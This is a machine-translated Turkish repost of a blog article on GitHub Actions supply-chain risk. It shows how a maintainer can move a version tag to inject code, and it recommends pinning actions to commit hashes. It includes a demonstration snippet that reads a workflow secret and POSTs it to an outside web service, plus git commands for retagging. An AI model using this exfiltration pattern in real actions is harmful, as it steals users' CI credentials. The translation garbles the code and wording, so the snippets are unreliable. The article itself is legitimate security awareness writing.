Kötü niyetli kod, bazıları etiketlenmiş olsa bile GitHub eylemlerine eklenebilir.
Yazar | Julien Renaux
Çevirmen | Crescent Moon, Baş Editör | Tu Min
Aşağıdaki çeviridir:
Her şey Aralık ortasında yayınladığım bir tweet ile başladı:
Github pazarında bulunan İşlemleri kullanmanın yol ver hassas Erişim belirteçleri vb. Gibi veriler
sorun
GitHub Marketplace'te birçok popüler Eylem bulabilirsiniz ve bunların tümü, görevleri gerçekleştirmek için gizli anahtarlar gerektirir.
Örneğin, bir Docker görüntüsü oluşturmak ve bunu ayna havuzunda yayınlamak istiyorsanız, Action: elgohr / Publish-Docker-Github-Action'ı kullanabilirsiniz. Bu, bu tür bir görevi gerçekleştirmek için en popüler eylemdir, ancak GitHub tarafından oluşturulmaz ve GitHub tarafından korunmaz.
Bu eylemin belgelerini dikkatlice okuyun ve docker mirror deposunun kullanıcı adı ve şifresini gerektirdiğini göreceksiniz.
-name: Kayıt Defterine Yayınla kullanır: elgohr / Publish-Docker-Github-Action @ master ile: isim: myDocker / depo kullanıcı adı: $ {{secrets.DOCKER_USERNAME}} şifre: $ {{secrets.DOCKER_PASSWORD}}Kaçımız kötü niyetli kod içerip içermediğini kontrol etmek için eylemin koduna bakacağız? Sanırım bunu kimse yapmayacak. Hepimiz otomatik olarak yazara güveniriz.
Bu eylemin yıllar boyunca GitHub'daki binlerce iş akışında kullanıldığını hayal edin.
Güvendiğimiz yazar, kodun takip desteğinden başka birinin sorumlu olmasına izin verirse (bu genellikle açık kaynak endüstrisinde olur), gelecekte ne olacak?
Herhangi bir bakımcı dalı veya etiketi güncelleyebilir
Sorun burada yatıyor!
Size bu sorunu göstermek için bir eylem yarattım: shprink / zararsız ve olması gereken-eylemler. Bu eylem meşru görünüyor ve adı güvenilir görünüyor.
Kullanırken, bir anahtar vermeniz gerekir:
-kullanımları: shprink / zararsız ve olması gereken-eylemler @ v1 ile: sırrım: $ {{secrets.YOUR_SECRET}}Kod (aşağıya bakın) aslında hiçbir şey yapmaz, anahtarı alır ve sonra bazı yasal şeyler yapar (docker görüntüleri, npm paketleri vb. Yayınlamak).
Deneyin { const mySecret = core.getInput ("sırrım"); console.log (`YILLARCA GİZLİ İLE GERÇEKTEN BİR ŞEY YAPIN`); } catch (hata) { core.setFailed (error.message); }Bu eylem v1 olarak işaretlenmiştir. Maalesef etiketler Git ile değiştirilebilir.
Bunu yapmak için önce etiketi yerel olarak silmeniz ve ardından aşağıdaki komutla onu uzaktan silmeniz gerekir:
$ git etiketi -d v1 $ git push - kaynak v1'i silArdından, anahtarı web hizmetine göndermek gibi kötü amaçlı kod ekleyebiliriz:
Deneyin { const mySecret = core.getInput ("sırrım"); console.log (`` GİZLİ BİRİ BİR ARACILIĞIYLA SAKLAMAYA ÇALIŞMA HTTP ÇAĞRI`); request.post ( "https: //jsonplaceholder.typicode .com /gönderiler", { json: { title: "çalınan sırrımı bir yerde saklayın", vücut: mySecret, kullanıcı İD: 1 }, üstbilgiler: {"Content-type": " uygulama lisans / json; charset = UTF-8 "} }, (hata, çözüm, gövde) = > { if (hata) { console.error (hata); dönüş; } console.log (`BİRİNİN GİZLİLERİNİ SAKLAYIN ', res.statusCode, gövde); } ); } catch (hata) { core.setFailed (error.message); }Eylem kullanıcıları iş akışlarını yeniden çalıştırdıklarında, "yeni" v1'i kullanacaklar, böylece değerli anahtarları yol ver .
,
çözüm: Kayıt karmasını sürüm olarak kullan
GitHub'da @AlainHelaili'nin Twitter'da bahsettiği gibi, dalları veya etiketleri kontrol etmemelisiniz (ikisi de güvenli değildir), kesin hash'leri kontrol etmelisiniz:
Her bir hash benzersizdir ve geçmişi yeniden yazmak için aynı SHA-1'i kullanamazsınız.
Bu iyi bir çözüm, ancak bu uygulamayı teşvik eden herhangi bir belge görmedim. Gördüğüm tüm belgeler dallar veya etiketler kullanıyor ...
Tarih derslerinden öğrenin
Kısa bir süre önce, NPM sol pedinde tam olarak aynı sorun vardı.Paket npm deposundan kaldırıldıktan sonra, tüm İnternet yok edildi.
Çok geçmeden npm, iptal politikasını değiştirmeye karar verdi.
Revize edilen ilke, belirli bir sürümün 24 saat sonra iptal edilememesi ve daha önce kullanılan etiketin değiştirilememesidir.
Kullanıcıların sürüm yayınlarını iptal etmesini veya etiketleri değiştirmesini önlemek için GitHub'ın aynı yaklaşımı izlemesi gerektiğini düşünüyorum.
Orijinal: https://julienrenaux.fr/2019/12/20/github-actions-security-risk/
Bu makale bir CSDN çevirisidir, lütfen yeniden basımın kaynağını belirtin.
Dharma Akademisi'nin yayınlanan ilk on bilim ve teknoloji trendi: 2020 önemsiz değil!